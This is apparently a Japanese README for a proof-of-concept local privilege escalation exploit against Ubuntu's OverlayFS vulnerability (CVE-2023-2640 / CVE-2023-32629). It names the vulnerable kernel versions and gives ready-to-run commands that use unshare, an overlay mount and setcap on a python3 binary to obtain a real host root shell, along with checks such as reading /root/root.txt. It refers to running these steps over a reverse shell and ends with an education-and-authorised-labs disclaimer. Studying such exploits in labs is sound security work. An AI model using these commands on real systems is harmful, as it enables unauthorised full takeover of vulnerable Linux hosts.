
対話型のマルチステップなローカル権限昇格(LPE)概念実証(PoC)で、Ubuntu LinuxカーネルのOverlayFS脆弱性(CVE-2023-2640 / CVE-2023-32629)を対象としています。
一般的な自動化ワンライナーは対話型シェルを制限付きの**ユーザ名前空間(偽のroot)**内に閉じ込めますが、本手法ではエクスプロイトシーケンスを分割することで、真の無制限なホストrootシェルを安全に獲得します。
多くの公開エクスプロイトは、セットアップと実行を次のような単一の自動化シェルシーケンスで連結しています:
unshare -rm sh -c "mkdir l u w m && ... && touch m/*; python3 -c '...'"
Python実行ペイロードがunshareの二重引用符内に埋め込まれているため、内部でユーザ名前空間サンドボックス内で実行されます。
uid=0(root)と表示されますが、シェルはホストから暗号的に隔離されています。ホストのrootディレクトリを表示しようとすると(cd /root)、Permission Deniedエラーが発生します。本PoCはプロセスを2つの明確な論理ステージに分割します:
unshareを実行して、OverlayFSのovl_copy_up脆弱性を悪用するのにちょうど十分なだけ偽のroot権限を取得し、高権限のsetcap cap_setuid+eipケイパビリティをローカルのPythonバイナリフォルダに漏洩させます。os.setuid(0)を許可し、真のホストレベルのシステム管理権限を提供します。ovl_copy_up_meta_inode_data関数の欠陥により、ファイル移行中に検証チェックが完全にバイパスされる。6.2.0-26-generic未満を実行しているUbuntu 22.04 LTS。exploit.shをクローンまたはダウンロードします(例: /tmp内)。chmod +x exploit.sh
./exploit.sh
不安定なリバースシェルを使用している場合は、これらのコマンドを完全に別々に実行し、各行の後にEnterを押してください:
# 1. ワークスペース環境をクリーンアップ
cd /tmp && rm -rf l u w m
# 2. 一時的な名前空間サンドボックス内でバックドアを偽装
unshare -rm sh -c "mkdir l u w m && cp /usr/bin/python3 l/ && setcap cap_setuid+eip l/python3 && mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*"
# 3. 実際のホスト上で実行をトリガーして真のrootを獲得
./u/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
現在のユーザプロファイルを確認して、真の権限を検証します:
whoami
cat /root/root.txt
この対話型リファクタリングで使用されたベースラインエクスプロイトの仕組みは、セキュリティ研究者のLiav Eliyahu氏とg1vi氏によって最初に発見・文書化されました。
このリポジトリは、教育、セキュリティ研究、および許可されたペネトレーションテストの目的(HackTheBox / OffSecラボなど)のためにのみ作成されています。著者は、本資料の誤用、不正アクセス試行、またはインフラストラクチャへの損害について一切の責任を負いません。責任を持って使用してください。